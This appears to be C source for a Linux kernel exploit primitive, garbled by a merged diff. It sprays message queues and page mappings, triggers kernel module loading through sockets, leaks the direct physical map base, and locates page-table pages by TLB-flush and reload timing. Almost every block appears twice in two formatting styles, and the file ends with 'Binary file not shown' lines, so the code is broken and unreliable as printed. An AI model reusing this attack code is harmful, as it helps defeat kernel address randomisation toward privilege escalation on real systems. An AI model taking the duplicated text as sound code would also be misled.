#define MSG_SPRAYS (1 << 8) * 32
#define MSG_TYPE 0x41
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
#define IS_HIT(t, tn2, tn4, tn8) \
(((tn2) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \
((tn4) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \
((tn8) - (t) >= (THRESHOLD2 - THRESHOLD + 2)))
int qids[MSG_SPRAYS];
void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
void
__hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time,
size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
{
size_t t;
size_t times[tries];
size_t hist[HIST_SIZE] = {0};
size_t times_n[tries];
size_t hist_n[HIST_SIZE] = {0};
size_t times_n4[tries];
size_t hist_n4[HIST_SIZE] = {0};
size_t times_n8[tries];
size_t hist_n8[HIST_SIZE] = {0};
/* leaking */
for (size_t i = 0; i < tries; ++i) {
flush_tlb_targeted_4k(addr);
flush_tlb_targeted_4k(addr+PAGE_SIZE);
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
if (i % 2 == 0)
mprotect(uaddr, PAGE_SIZE, PROT_READ);
else
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
t = onlyreload(addr);
hist[MIN(t,HIST_SIZE-2)]++;
times[i] = t;
size_t t;
size_t times[tries];
size_t hist[HIST_SIZE] = { 0 };
size_t times_n[tries];
size_t hist_n[HIST_SIZE] = { 0 };
size_t times_n4[tries];
size_t hist_n4[HIST_SIZE] = { 0 };
size_t times_n8[tries];
size_t hist_n8[HIST_SIZE] = { 0 };
/* leaking */
for (size_t i = 0; i < tries; ++i) {
flush_tlb_targeted_4k(addr);
flush_tlb_targeted_4k(addr + PAGE_SIZE);
flush_tlb_targeted_4k(addr + PAGE_SIZE * 4);
flush_tlb_targeted_4k(addr + PAGE_SIZE * 8);
if (i % 2 == 0)
mprotect(uaddr, PAGE_SIZE, PROT_READ);
else
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
t = onlyreload(addr);
hist[MIN(t, HIST_SIZE - 2)]++;
times[i] = t;
t = onlyreload(addr+PAGE_SIZE);
times_n[i] = t;
hist_n[MIN(t,HIST_SIZE-2)]++;
t = onlyreload(addr + PAGE_SIZE);
times_n[i] = t;
hist_n[MIN(t, HIST_SIZE - 2)]++;
t = onlyreload(addr+PAGE_SIZE*4);
times_n4[i] = t;
hist_n4[MIN(t,HIST_SIZE-2)]++;
t = onlyreload(addr + PAGE_SIZE * 4);
times_n4[i] = t;
hist_n4[MIN(t, HIST_SIZE - 2)]++;
t = onlyreload(addr+PAGE_SIZE*8);
times_n8[i] = t;
hist_n8[MIN(t,HIST_SIZE-2)]++;
}
qsort(times, tries, sizeof(size_t), comp);
qsort(times_n, tries, sizeof(size_t), comp);
qsort(times_n4, tries, sizeof(size_t), comp);
qsort(times_n8, tries, sizeof(size_t), comp);
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
*time = times[tries/8];
*time_n = times_n[tries/8];
*time_n4 = times_n4[tries/8];
*time_n8 = times_n8[tries/8];
t = onlyreload(addr + PAGE_SIZE * 8);
times_n8[i] = t;
hist_n8[MIN(t, HIST_SIZE - 2)]++;
}
qsort(times, tries, sizeof(size_t), comp);
qsort(times_n, tries, sizeof(size_t), comp);
qsort(times_n4, tries, sizeof(size_t), comp);
qsort(times_n8, tries, sizeof(size_t), comp);
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i],
hist_n4[i], hist_n8[i]);
*time = times[tries / 8];
*time_n = times_n[tries / 8];
*time_n4 = times_n4[tries / 8];
*time_n8 = times_n8[tries / 8];
}
void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
void
hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n,
size_t *time_n4, size_t *time_n8)
{
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
}
void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
void
hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time,
size_t *time_n, size_t *time_n4, size_t *time_n8)
{
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
}
int main(void)
int
main(void)
{
printf("[*] start\n");
set_limit();
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
pin_to_core(0);
printf("[*] start\n");
set_limit();
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
pin_to_core(0);
init_tlb_flush();
get_total_memory();
init_tlb_flush();
get_total_memory();
static char buffer[0x1000] = {0};
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE;
static char buffer[0x1000] = { 0 };
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE;
printf("[*] make queues\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[*] make queues\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[*] warmup and other alloc msg_msg structs\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
send_msg(qids[i], message, MSG_SIZE, 0);
printf("[*] warmup and other alloc msg_msg structs\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
send_msg(qids[i], message, MSG_SIZE, 0);
printf("[*] reserve mmappings\n");
void *addresses[PAGE_SPRAY];
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i);
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
if (addresses[i] == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
}
void *other_addresses[PAGE_OTHER_SPRAY];
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i);
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
if (other_addresses[i] == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
}
printf("[*] reserve mmappings\n");
void *addresses[PAGE_SPRAY];
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
void *addr = (void *)((0x6dULL << 21) + (1ULL << 12) * i);
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE | PROT_READ,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i,
// (size_t)addresses[i], (size_t)addr);
if (addresses[i] == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
}
void *other_addresses[PAGE_OTHER_SPRAY];
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
void *addr = (void *)((0x6fULL << 21) + (1ULL << 12) * i);
other_addresses[i] = mmap(addr, PAGE_SIZE,
PROT_WRITE | PROT_READ, MAP_FIXED | MAP_ANON | MAP_PRIVATE,
-1, 0);
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i,
// (size_t)other_addresses[i], (size_t)addr);
if (other_addresses[i] == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
}
printf("[*] load 1st half of kernel modules\n");
int sock_fd;
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
if (sock_fd < 0) {
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
exit(-1);
}
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
if (sock_fd < 0) {
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
exit(-1);
}
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (sock_fd < 0) {
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
exit(-1);
}
printf("[*] load 1st half of kernel modules\n");
int sock_fd;
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
if (sock_fd < 0) {
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
exit(-1);
}
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
if (sock_fd < 0) {
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
exit(-1);
}
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (sock_fd < 0) {
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
exit(-1);
}
/* hopefully allocate PUD of 4k mapping */
for (size_t i = 0; i < PAGE_SPRAY; ++i)
*(volatile size_t *)addresses[i];
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
*(volatile size_t *)other_addresses[i];
/* hopefully allocate PUD of 4k mapping */
for (size_t i = 0; i < PAGE_SPRAY; ++i)
*(volatile size_t *)addresses[i];
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
*(volatile size_t *)other_addresses[i];
printf("[*] load 2nd half of kernel modules\n");
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
if (sock_fd < 0) {
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
exit(-1);
}
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
exit(-1);
}
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
exit(-1);
}
printf("[*] load 2nd half of kernel modules\n");
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
if (sock_fd < 0) {
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
exit(-1);
}
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
exit(-1);
}
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
exit(-1);
}
size_t time;
size_t time_n;
size_t time_n4;
size_t time_n8;
size_t dpm_base = dpm_leak(TRIES);
printf("[*] dpm_base: %016zx\n", dpm_base);
size_t time;
size_t time_n;
size_t time_n4;
size_t time_n8;
size_t dpm_base = dpm_leak(TRIES);
printf("[*] dpm_base: %016zx\n", dpm_base);
#ifdef DEBUG
lkm_init();
size_t real_dpm_base;
lkm_dpm_leak((size_t)&real_dpm_base);
if (real_dpm_base != dpm_base) {
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
exit(-1);
}
lkm_init();
size_t real_dpm_base;
lkm_dpm_leak((size_t)&real_dpm_base);
if (real_dpm_base != dpm_base) {
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base,
dpm_base);
exit(-1);
}
size_t success = 0;
size_t cnt = 0;
size_t success = 0;
size_t cnt = 0;
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
size_t pud = dpm_base + (pgde & ~(0xfff));
size_t pmd = dpm_base + (pude & ~(0xfff));
size_t pt = dpm_base + (pmde & ~(0xfff));
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
size_t is_4kb = lkm_is_4kb(pmd);
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8);
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
size_t pud = dpm_base + (pgde & ~(0xfff));
size_t pmd = dpm_base + (pude & ~(0xfff));
size_t pt = dpm_base + (pmde & ~(0xfff));
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
size_t is_4kb = lkm_is_4kb(pmd);
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
hit_flush_print(addresses[0], pt, TRIES * 10, &time, &time_n, &time_n4,
&time_n8);
#endif
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
if ((addr % (1 << 30)) == 0)
printf("[*] addr %016zx\n", addr);
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
continue;
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
if (found) {
for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) {
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
found = IS_HIT(time, time_n, time_n4, time_n8);
}
for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) {
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
found = !IS_HIT(time, time_n, time_n4, time_n8);
}
}
if (found) {
for (size_t addr = dpm_base + (1ULL << 30);
addr < dpm_base + mem_total_rounded; addr += PMD_SIZE) {
if ((addr % (1 << 30)) == 0)
printf("[*] addr %016zx\n", addr);
hit_flush(addresses[0], addr, TRIES / 4, &time, &time_n,
&time_n4, &time_n8);
if (time < THRESHOLD && time_n < THRESHOLD &&
time_n4 < THRESHOLD && time_n8 < THRESHOLD)
continue;
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE;
addr4k += PAGE_SIZE) {
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n,
&time_n4, &time_n8);
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
if (found) {
for (size_t i = 1; i < PAGE_SPRAY && found == 1;
++i) {
hit_flush(addresses[i], addr4k, TRIES,
&time, &time_n, &time_n4, &time_n8);
found = IS_HIT(time, time_n, time_n4,
time_n8);
}
for (size_t i = 1;
i < PAGE_OTHER_SPRAY && found == 1; ++i) {
hit_flush(other_addresses[i], addr4k,
TRIES, &time, &time_n, &time_n4,
&time_n8);
found = !IS_HIT(time, time_n, time_n4,
time_n8);
}
}
if (found) {
#ifdef DEBUG
cnt++;
success |= (addr4k == pt);
cnt++;
success |= (addr4k == pt);
#endif
printf("[+] found addr %016zx\n", addr4k);
}
printf("[+] found addr %016zx\n", addr4k);
}
}
}
}
}
printf("[*] cleanup\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
cleanup_queue(qids[i]);
printf("[*] cleanup\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
cleanup_queue(qids[i]);
#ifdef DEBUG
if (success == 1 && cnt == 1)
printf("[+] success\n");
else if (!is_4kb)
printf("[!] 2MB page\n");
else if (success == 1 && cnt > 1)
printf("[!] multiple addresses -> retry\n");
else if (cnt == 0)
printf("[!] not found\n");
else if (cnt == 1)
printf("[!] fail with one address\n");
else
printf("[!] fail with multiple addresses\n");
if (success == 1 && cnt == 1)
printf("[+] success\n");
else if (!is_4kb)
printf("[!] 2MB page\n");
else if (success == 1 && cnt > 1)
printf("[!] multiple addresses -> retry\n");
else if (cnt == 0)
printf("[!] not found\n");
else if (cnt == 1)
printf("[!] fail with one address\n");
else
printf("[!] fail with multiple addresses\n");
#else
printf("[*] done\n");
printf("[*] done\n");
#endif
return 0;
return 0;
}

Binary file not shown.

Binary file not shown.

Binary file not shown.